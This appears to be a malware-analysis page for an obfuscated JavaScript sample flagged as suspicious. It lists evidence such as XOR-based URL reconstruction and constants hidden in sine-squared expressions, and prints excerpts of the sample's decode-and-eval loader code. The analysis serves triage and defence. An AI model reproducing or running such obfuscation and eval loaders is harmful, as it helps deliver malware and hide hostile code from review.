Suspicious 80% javascript-malware-collection Download

20151217_2c33a5e99f06d3a3ff6ad514a87499f5.js

Obfuscated C2 XOR eval

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-2562d38ea54110be9cffbf06f0cbae26d9aecb5f5de5148e615af4aa4fa243012ae

Evidence

Builds characters with String.fromCharCode line 2
2:146… 'L','K','q','8','O','w','m','l','W','L','.','S','b','f','(',',',String.fromCharCode(10),'F','t','Y','c','?','2','?','Q','1','`','-',':','-','a','m','d','x','9',String.fromCharCode(13),'a','Z','^','n','$','%','k','Z','(','1','K','F','+','E','4','`','M','E','s','5','i','I','h','N','8','"','x','t','Y','M','t','_','#','9','d …
XOR URL reconstruction call line 2
2:766… 'b','$','=','h','1','2','$','<','N','%','`','p','>','&','k','M',String.fromCharCode(39),'C','S','S','v','h','0','X','(','H',',','v',':',']',')','*','E','Y','d','t','+','Q','R','q','D','Z','x',',','a','o','N','-','p','W','F','`','W','.','1','^','{','/','v','c','e','4','"','T','!','0','1','%','J','n','{','(','2','^','"',',','h','U','M','3','=','4','A','7','N','m','z','U …
Calls JavaScript toString conversion method lines 4–7
4:44… KjScZN){qlCW=pFWUDrQFRkLBBmAsq(HrGDGZwuEfM,BLebDkwuUVWGC);thBRX=qlCW.toString(DaKjScZN);return thBRX;}
5function ldmAoVNvexOmqPr(CdtOojMkmAcOfvLAF,ZgAmPKDXobyAHBAPBanfMSOndoMFDnHWdx,cOjzDZTJsLzNFKXwJdiNwzvuhgntRtExFWT){eval(CdtOojMkmAcOfvLAF);}
6function ihnyfwhgbuQAUSbrkqnHlGYUDSTVHgRQmnukcwnwXdjftNfrIoSZcU(qlodzcgBiCexM,FjaJjxYPUbAWRL){ return iwsUuTW[jgEaMnxz[tfxJa(qlodzcgBiCexM[FjaJjxYPUbAWRL],(16037+931)/606,(2894+196)/309)]];}
7function CNSgdvD(feiOqMEXFvBiMjrVsAYQPepLYBtLUuTYegvO) {return !XbljJFDNmFA(uERAoFPbWTrynys(feiOqMEXFvBiMjrVsAYQPepLY …
Dense indexed short-token grid lines 12–13
12:33… DofnYNU,saIpTaHAlrJ) {TGPxplayZzYmmt[wPsDupDofnYNU]=saIpTaHAlrJ;}
13var H = new Array();H[0]=[];H[0][0]='d';H[0][1]='a';H[0][2]='d';H[0][3]='a';H[0][4]='46';H[0][5]='3d';H[0][6]='42';H[0][7]='14';H[0][8]='2f';H[0][9]='14';H[0][10]='25';H[0][11]='14';H[0][12]='16';H[0][13]='47';H[0][14]='3k';H[0][15]='3d';H[0][16]='44';H[0][17]='3g';H[0][18]='3l';H[0][19]='3g';H[0][20]='49';H[0][21]='3 …
Numeric sine-square obfuscation expression lines 19–22
19:30… ],H[4],H[5]];
20var LRRfTsJbl=[];
21function vcWvwPFLQYCdLRQwk(YCRwp){HQOzNNWOAgc= '';bZnAcWlmVlH=Math.round((Math.pow(Math.sin(473), 2) + Math.pow(Math.cos(473), 2) - 1));while(true){if (bZnAcWlmVlH >= (4099+335)/739){break;}LRRfTsJbl[bZnAcWlmVlH]=Math.round((Math.pow(Math.sin(772), 2) + Math.pow(Math.cos(772), 2) - 1)); while(true) { if(LRRfTsJbl[bZnAcWlmVlH] > YCRwp[bZnAcWlmVlH].length-(310+341)/651) { break; } if (CNSgdvD(tfxJa(YCRwp[bZnAcWlmVlH][LRRfTsJbl[bZnAcWlmVlH]],(7740+436)/292,(5063+27)/509))) {HQOzNNWOAgc += ihnyfwhgbuQAUSbrkqnHlGYUDSTVHgRQmnukcwnwXdjftNfrIoSZcU([YCRwp[bZnAcWlmVlH][LRRfTsJbl[bZnAcWlmVlH]]], Math.round((Math.pow(Math.sin(793), 2) + Math.pow(Math.cos(793), 2) - 1)));} LRRfTsJbl[bZnAcWlmVlH]++;}bZnAcWlmVlH++;} return HQOzNNWOAgc}
22var LCJOQKuzqwPdJwNOuNVihdCguOiIcVrZw = 'oBBEvSChUfBRVmLxSjYrVbSdtXtSeTUohUQR';var aNJkdeTrVPtXEcHlKbuitsxaUCveLIsn = 'oSzOUnOgfqlfkIjiNXOkfzViLFcoODkAnyoL';ldmAoVNvexOmqPr(vcWvwPFLQYCdLRQwk(YCRwp),LCJOQKuzqwPdJwNOuNVihdCguOiIcVrZw,aNJkdeTrVPtXEcHlKbuitsxaUCveLIsn);

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.